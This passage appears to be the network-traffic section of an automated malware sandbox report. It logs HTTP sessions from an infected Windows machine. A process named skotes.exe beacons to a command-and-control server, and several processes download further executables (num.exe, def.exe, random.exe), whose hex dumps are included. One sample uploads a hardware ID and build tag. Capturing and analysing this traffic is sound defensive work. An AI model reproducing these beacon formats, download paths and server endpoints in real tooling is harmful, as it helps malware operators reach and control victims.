------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="build"tale------AAKEGDAKEHJDHIDHJJDA--
Oct 30, 2024 12:37:02.414024115 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49781	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:04.853847980 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 36 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002607001&unit=246122658369
Oct 30, 2024 12:37:05.766058922 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49787	185.215.113.16	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:05.806875944 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 12:37:06.710481882 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:06 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Oct 30, 2024 12:37:06.710503101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj0rmE
Oct 30, 2024 12:37:06.710517883 CET	324	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 fb 95 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 0e 3f 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 2d 96 01 00 8d 8d f8 fb ff ff e8 f2 98 01 00 50 Data Ascii: QREPQ?-PqmPEjjRAM]UQMM\|MHM<M0M]
Oct 30, 2024 12:37:06.710566998 CET	1236	IN	Data Raw: 54 89 41 54 8b 4d fc 8b 55 08 8b 42 58 89 41 58 8b 4d fc 8b 55 08 8b 42 5c 89 41 5c 8b 4d fc 8b 55 08 8b 42 60 89 41 60 8b 4d fc 8b 55 08 8b 42 64 89 41 64 8b 4d fc 8b 55 08 8b 42 68 89 41 68 8b 4d fc 8b 55 08 8b 42 6c 89 41 6c 8b 4d fc 8b 55 08 Data Ascii: TATMUBXAXMUB\A\MUB`A`MUBdAdMUBhAhMUBlAlMUBpApMUBtAtMUBxAxM\|QM\|ME]UQMM$MMxMp]UQMEPMMQM
Oct 30, 2024 12:37:06.710581064 CET	12	IN	Data Raw: fd ff ff e8 53 90 01 00 8d 8d a8 fd Data Ascii: S
Oct 30, 2024 12:37:06.710597038 CET	1236	IN	Data Raw: ff ff e8 48 90 01 00 8d 8d b4 fd ff ff e8 3d 90 01 00 e9 a6 00 00 00 8d 95 cc fe ff ff 52 8d 85 30 fd ff ff 50 68 7c 57 42 00 8d 8d 3c fd ff ff 51 8d 55 08 52 8d 85 48 fd ff ff 50 68 d4 56 42 00 8d 8d 54 fd ff ff 51 8d 55 e8 52 8d 85 60 fd ff ff Data Ascii: H=R0Ph\|WB<QURHPhVBTQUR`PPi0<HT`R!sh#BhXB
Oct 30, 2024 12:37:06.710613012 CET	1236	IN	Data Raw: 08 e8 b5 f5 ff ff 8b e5 5d c3 cc 55 8b ec 8b 45 08 a3 98 73 6d 00 8b 0d 98 73 6d 00 c7 01 01 00 00 00 8b 55 0c c1 ea 0c a1 98 73 6d 00 89 50 04 8b 0d 98 73 6d 00 c7 41 08 00 00 00 00 8b 15 98 73 6d 00 c7 42 0c 00 00 00 00 c7 05 9c 73 6d 00 00 00 Data Ascii: ]UEsmsmUsmPsmAsmBsm]U}t#E8tMQ;U\|EEHME]UE3tUUE]UEEMQ+UUUEEM
Oct 30, 2024 12:37:06.710629940 CET	424	IN	Data Raw: 1e 42 00 68 84 1e 42 00 e8 9a 21 00 00 83 c4 0c a3 0c 70 6d 00 6a 08 68 98 1e 42 00 68 a4 1e 42 00 e8 81 21 00 00 83 c4 0c a3 b0 6a 6d 00 6a 0e 68 b0 1e 42 00 68 c0 1e 42 00 e8 68 21 00 00 83 c4 0c a3 98 6f 6d 00 6a 11 68 d0 1e 42 00 68 e4 1e 42 Data Ascii: BhB!pmjhBhB!jmjhBhBh!omjhBhBO!$lmjhBhB6!nmjhBhB!4pmjh(Bh@B!jmjhXBhhB ,kmjhxBhB lmjhBhB P
Oct 30, 2024 12:37:06.710730076 CET	1236	IN	Data Raw: 80 20 42 00 68 8c 20 42 00 e8 f1 1f 00 00 83 c4 0c a3 94 6d 6d 00 6a 14 68 98 20 42 00 68 b0 20 42 00 e8 d8 1f 00 00 83 c4 0c a3 28 6b 6d 00 6a 06 68 c8 20 42 00 68 d0 20 42 00 e8 bf 1f 00 00 83 c4 0c a3 14 6e 6d 00 6a 0c 68 d8 20 42 00 68 e8 20 Data Ascii: Bh Bmmjh Bh B(kmjh Bh Bnmjh Bh BPkmjh Bh!B@omjh!Bh!Btpmjh!Bh !B[jmjh(!Bh4!BBnm]Ujh@!BhX!B
Oct 30, 2024 12:37:06.710747957 CET	1236	IN	Data Raw: 42 00 e8 24 1b 00 00 83 c4 0c a3 28 70 6d 00 6a 0e 68 a0 25 42 00 68 b0 25 42 00 e8 0b 1b 00 00 83 c4 0c a3 4c 6e 6d 00 6a 09 68 c0 25 42 00 68 cc 25 42 00 e8 f2 1a 00 00 83 c4 0c a3 e0 6e 6d 00 6a 0b 68 d8 25 42 00 68 e4 25 42 00 e8 d9 1a 00 00 Data Ascii: B$(pmjh%Bh%BLnmjh%Bh%Bnmjh%Bh%BLomjh%Bh&Bhnmjh&Bh&B\mmjh(&Bh8&Bmmj hH&Bhl&Bujmjh&Bh&B\ nmjh&Bh&BChmmjh
Oct 30, 2024 12:37:06.716129065 CET	1236	IN	Data Raw: 40 6d 6d 00 6a 10 68 78 2c 42 00 68 8c 2c 42 00 e8 42 16 00 00 83 c4 0c a3 10 6f 6d 00 6a 05 68 a0 2c 42 00 68 a8 2c 42 00 e8 29 16 00 00 83 c4 0c a3 30 6f 6d 00 6a 0b 68 b0 2c 42 00 68 bc 2c 42 00 e8 10 16 00 00 83 c4 0c a3 48 6d 6d 00 6a 09 68 Data Ascii: @mmjhx,Bh,BBomjh,Bh,B)0omjh,Bh,BHmmjh,Bh,Blmjh,Bh,B`nmjh-Bh -Bomjh8-BhD-B,omjhP-Bh\-Bnmjhh-Bh\|-Bzxnmjh-Bh-Ba

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49794	185.215.113.16	80	3352	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:07.430125952 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 12:37:08.358463049 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:08 GMT Content-Type: application/octet-stream Content-Length: 2895872 Last-Modified: Wed, 30 Oct 2024 10:42:46 GMT Connection: keep-alive ETag: "67220da6-2c3000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 fa d5 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$, `@ ,,`Ui` @ @.rsrc`2@.idata 8@fbnfxrsu++:@rjcetyim ,,@.taggant@,",@
Oct 30, 2024 12:37:08.358475924 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:08.358505011 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:08.358519077 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:08.358529091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:08.358549118 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:08.358560085 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:08.358572960 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:08.358586073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:08.358598948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2i4\elly\UJZI?\|iS~UY"Ze lOBc=bRu=@wPrq0`Y"^8m]+p>Y-R@d(Up%$9I'd<ms(HIb]UfW
Oct 30, 2024 12:37:08.364054918 CET	1236	IN	Data Raw: f9 3d 67 2c 0a f1 10 04 79 c8 b2 fc bd 72 fc 24 bb f9 4f f4 41 f8 39 06 49 11 76 c6 4b df 87 12 4d c6 5c 93 64 d0 5e fa 2b d8 df 3a 73 05 3f 60 d5 47 5f 94 75 25 5c fe 1b 10 75 6b cf 20 21 8c 67 fb 24 06 45 23 d0 6e 8b d4 63 96 53 96 aa 48 fb 69 Data Ascii: =g,yr$OA9IvKM\d^+:s?`G_u%\uk !g$E#ncSHi1'o6h_&Js*]c>=Q>d8l9SnO9?F#YogCWCBSSR&8:X{t^,e"eU^O`OQWqX,tU1^PE
Oct 30, 2024 12:37:17.759478092 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 12:37:18.043992996 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:17 GMT Content-Type: application/octet-stream Content-Length: 1933824 Last-Modified: Wed, 30 Oct 2024 11:24:18 GMT Connection: keep-alive ETag: "67221762-1d8200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@L!9@WkgLtgL @.rsrc@.idata @ P+@baulhwjgp2h@nnowpgbrpL\@.taggant0L"`@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49803	185.215.113.206	80	6316	C:\Users\user\AppData\Local\Temp\1002608001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:08.357690096 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 12:37:09.260365963 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 12:37:09.266654015 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 2d 2d 0d 0a Data Ascii: ------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="build"tale------AFCFHJJECAEHJJKEHIDB--
Oct 30, 2024 12:37:09.553144932 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49819	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:10.102726936 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 36 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002608001&unit=246122658369
Oct 30, 2024 12:37:11.028527021 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49838	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:12.658080101 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 12:37:13.592181921 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49853	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:15.109421968 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 30, 2024 12:37:16.019368887 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49859	34.107.221.82	80	5928	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:15.711867094 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:37:16.314575911 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78779 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49872	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:17.656372070 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 12:37:18.582014084 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49885	34.107.221.82	80	5928	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:18.853420019 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 12:37:19.439352989 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 69708 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49896	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:20.154344082 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
